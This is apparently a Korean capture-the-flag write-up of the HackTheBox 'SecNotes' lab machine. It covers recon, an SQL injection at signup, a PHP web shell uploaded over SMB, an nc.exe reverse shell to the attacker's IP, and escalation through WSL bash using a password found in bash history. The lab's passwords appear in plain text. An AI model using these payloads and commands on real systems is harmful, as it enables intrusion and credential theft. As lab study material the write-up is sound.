1. Recon
1.1. nmap
스캔 결과 80번과 8808 번 포트에 대해서 웹 서비스가 제공된다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# nmap -sCV 10.129.55.45 --max-retries 1 --min-rate 5000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-06 10:56 +04
Nmap scan report for 10.129.55.45
Host is up (0.19s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-title: Secure Notes - Login
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-01-06T06:57:33
|_ start_date: N/A
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h39m54s, deviation: 4h37m09s, median: -6s
| smb-os-discovery:
| OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: SECNOTES
| NetBIOS computer name: SECNOTES\x00
| Workgroup: HTB\x00
|_ System time: 2026-01-05T22:57:35-08:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.17 seconds
1.2. Web Discovery
80번 포트로 접근했을 때 로그인 하는 창이 있었고, 회원가입을 할 수 있었다. test 라는 계정으로 가입을 했다.
그리고 로그인을 하면 아래와 같은 화면이 나온다. 아래 창에서 Change Password 라는 게 있다.

1.2.1. Burp - Change Password
비밀번호를 변경할 때 id 값도 같이 있으면 다른 계정의 비밀번호를 바꿀 수 있을까 예상을 했지만, id 값과 함께 바꿀 수 있지는 않았다. 비밀번호만 존재했다.

1.2.2. 회원 가입 시 SQLi 공격 시도
' or 1=1 -- # 와 같이 아이디를 만들면 어떨까 싶어서 만들어 봤다.

그리고 로그인에 성공했더니 여러가지 계정 정보들을 식별할 수 있었다.

1.2.3. tyler 크리덴셜 확보
그 중에 new site 라는 탭에서 tyler 계정에 대한 크리덴셜을 확보할 수 있었다. 내용을 보아하니 smb 와 연결하는 크리덴셜로 추정할 수 있다.

혹시나 싶어서 evil-winrm 으로 접근해서 쉘 획득을 노렸으나 실패했다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# evil-winrm -i 10.129.55.45 -u tyler -p '92g!mA8BGjOirkL%OG*&'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
^C
2. 내부망 침투
2.1. smb 공유폴더 식별
크리덴셜을 확보하였으니 nxc 를 통해서 공유폴더를 확인한다. 그 중에 new-site 폴더에 대해서 READ, WRITE 권한이 존재함을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# nxc smb 10.129.55.45 -u tyler -p '92g!mA8BGjOirkL%OG*&' --shares
SMB 10.129.55.45 445 SECNOTES [*] Windows 10 / Server 2016 Build 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
SMB 10.129.55.45 445 SECNOTES [+] SECNOTES\tyler:92g!mA8BGjOirkL%OG*&
SMB 10.129.55.45 445 SECNOTES [*] Enumerated shares
SMB 10.129.55.45 445 SECNOTES Share Permissions Remark
SMB 10.129.55.45 445 SECNOTES ----- ----------- ------
SMB 10.129.55.45 445 SECNOTES ADMIN$ Remote Admin
SMB 10.129.55.45 445 SECNOTES C$ Default share
SMB 10.129.55.45 445 SECNOTES IPC$ READ Remote IPC
SMB 10.129.55.45 445 SECNOTES new-site READ,WRITE
--users 를 통해서 내부 유저 목록을 추출하는 데에는 실패했다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# nxc smb 10.129.55.45 -u tyler -p '92g!mA8BGjOirkL%OG*&' --users
SMB 10.129.55.45 445 SECNOTES [*] Windows 10 / Server 2016 Build 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
SMB 10.129.55.45 445 SECNOTES [+] SECNOTES\tyler:92g!mA8BGjOirkL%OG*&
2.2. new-site 폴더 접근
폴더 내부로 접근했을 때 특이한 파일은 존재하지 않았다. iisstart.htm 파일에도 특별한 게 없었다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.129.55.45/new-site
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Jan 6 11:45:22 2026
.. D 0 Tue Jan 6 11:45:22 2026
iisstart.htm A 696 Thu Jun 21 19:26:03 2018
iisstart.png A 98757 Thu Jun 21 19:26:03 2018
7736063 blocks of size 4096. 3392824 blocks available
smb: \> get iisstart.htm
getting file \iisstart.htm of size 696 as iisstart.htm (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \>
아까 nmap 스캔 시 8808 포트가 존재함을 확인했었는데, 접속해 보니 IIS 서비스 임을 확인했다.

2.3. 웹 파일 업로드 실험
hello.txt 파일을 임시로 하나 만든다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# echo 'hello' > hello.txt
그리고 new-site 폴더에 업로드를 진행한다.
smb: \> put hello.txt
putting file hello.txt as \hello.txt (0.0 kb/s) (average 0.0 kb/s)
8808 서비스에 대해서 hello.txt 로 접근해보니 만든 파일의 내용이 출력되는 거로 보아 웹 서비스에 파일을 업로드 할 수 있는 것으로 확인했다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# curl http://10.129.55.45:8808/hello.txt
hello
2.4. Reverse Shell Connection
간단한 웹쉘을 만든다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# cat cmd.php
<?php system($_REQUEST['cmd']); ?>
그리고 같은 방식으로 웹 쉘을 업로드 한다.
smb: \> put cmd.php
putting file cmd.php as \cmd.php (0.1 kb/s) (average 0.0 kb/s)
해당 쉘이 정상 작동하는지 테스트 한다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# curl http://10.129.55.45:8808/cmd.php?cmd=whoami
secnotes\tyler
마찬가지로 nc.exe 도 업로드 했고 리버스 쉘을 맺어줄 명령어를 전달한다.
┌──(root㉿kali)-[/home/kali/labs/SecNotes]
└─# curl http://10.129.55.45:8808/cmd.php?cmd=nc.exe%20-e%20cmd.exe%2010.10.14.143%20443
정상적으로 리버스 쉘이 맺어지는 것을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali]
└─# rlwrap -cAr nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.55.45] 52648
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\inetpub\new-site>whoami
whoami
secnotes\tyler
맺어진 리버스 쉘을 통해 tyler 계정에 대해서 Dekstop 디렉토리에서 flag 를 획득할 수 있다.
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E7B-9B76
Directory of C:\Users
06/21/2018 02:00 PM <DIR> .
06/21/2018 02:00 PM <DIR> ..
01/25/2021 07:45 AM <DIR> Administrator
06/21/2018 01:55 PM <DIR> DefaultAppPool
06/21/2018 12:23 PM <DIR> new
06/21/2018 02:00 PM <DIR> newsite
06/21/2018 01:12 PM <DIR> Public
08/19/2018 09:54 AM <DIR> tyler
06/21/2018 01:55 PM <DIR> wayne
0 File(s) 0 bytes
9 Dir(s) 13,895,004,160 bytes free
Directory of C:\Users\tyler\Desktop
08/19/2018 02:51 PM <DIR> .
08/19/2018 02:51 PM <DIR> ..
06/22/2018 02:09 AM 1,293 bash.lnk
08/02/2021 02:32 AM 1,210 Command Prompt.lnk
04/11/2018 03:34 PM 407 File Explorer.lnk
06/21/2018 04:50 PM 1,417 Microsoft Edge.lnk
06/21/2018 08:17 AM 1,110 Notepad++.lnk
01/05/2026 10:54 PM 34 user.txt
08/19/2018 09:59 AM 2,494 Windows PowerShell.lnk
7 File(s) 7,965 bytes
2 Dir(s) 13,895,004,160 bytes free
C:\Users\tyler\Desktop>type user.txt
3. 권한 상승
3.1. 권한 확인
tyler 계정에 대해서 권한을 확인했을 떄 권한상승을 도모할 수 있는 특별한 권한은 갖고있지 않았다.
C:\Users\tyler\Desktop>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== =======
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
C:\Users\tyler\Desktop>whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
3.2. bash.lnk 분석
Desktop 디렉토리에 lnk 파일들이 많았는데, 누가봐도 수상한 bash.lnk 파일이 존재했다. 그래서 해당 파일을 열어봤다.
C:\Users\tyler\Desktop>type bash.lnk
type bash.lnk
L�F w������V� �v(��� ��9P�O� �:i�+00�/C:\V1�LIWindows@ ヒL���LI.h���&WindowsZ1�L<System32B ヒL���L<.p�k�System32▒Z2��LP� bash.exeB ヒL<��LU.�Y����bash.exe▒K-JںݜC:\Windows\System32\bash.exe"..\..\..\Windows\System32\bash.exeC:\Windows\System32�%�
�wN�▒�]N�D.��Q���`�Xsecnotesx�<sAA��㍧�o�:u��'�/�x�<sAA��㍧�o�:u��'�/�= �Y1SPS�0��C�G����sf"=dSystem32 (C:\Windows)�1SPS��XF�L8C���&�m�q/S-1-5-21-1791094074-1363918840-4199337083-1002�1SPS0�%��G▒��`����%
bash.exe@������
�)
Application@v(��� �i1SPS�jc(=�����O�▒�MC:\Windows\System32\bash.exe91SPS�mD��pH�H@.�=x�hH�(�bP
bash.exe 파일을 실행시키면 SYSTEM 권한을 얻을 수 있을 거 같으니 C 드라이브 전체에서 bash.exe 파일을 찾는다.
C:\inetpub\new-site>where /R c:\ bash.exe
where /R c:\ bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
C:\inetpub\new-site>c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
해당 파일을 실행시키면 WSL 이 되면서 리눅스 명령어가 실행됨을 확인할 수 있다.
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
mesg: ttyname failed: Inappropriate ioctl for device
id
uid=0(root) gid=0(root) groups=0(root)
python -c 'import pty; pty.spawn("/bin/bash")'
root@SECNOTES:~# whoami
whoami
root
3.3. bash_history 파일 확인
bash_history 파일을 확인해서 내부에 어떤 명령어를 작성했는지 확인한다. 거기서 smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$ 를 확인해서 admin 계정에 대해서 비밀번호를 획득했다.
root@SECNOTES:~# cat .bash_history
cat .bash_history
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history
less .bash_history
3.4. 관리자 계정 접근
evil-winrm 을 통해서 접근이 안 돼서 기존에 존재하는 리버스 쉘을 통해서 공유폴더 형식으로 접근한다.
공유폴더에 접근해서 root.txt 파일을 열람해 flag 를 획득한다.
C:\inetpub\new-site>net use \\127.0.0.1\c$ /user:administrator "u6!4ZwgwOM#^OBf#Nwnh"
net use \\127.0.0.1\c$ /user:administrator "u6!4ZwgwOM#^OBf#Nwnh"
The command completed successfully.
C:\inetpub\new-site>type \\127.0.0.1\c$\users\administrator\desktop\root.txt
type \\127.0.0.1\c$\users\administrator\desktop\root.txt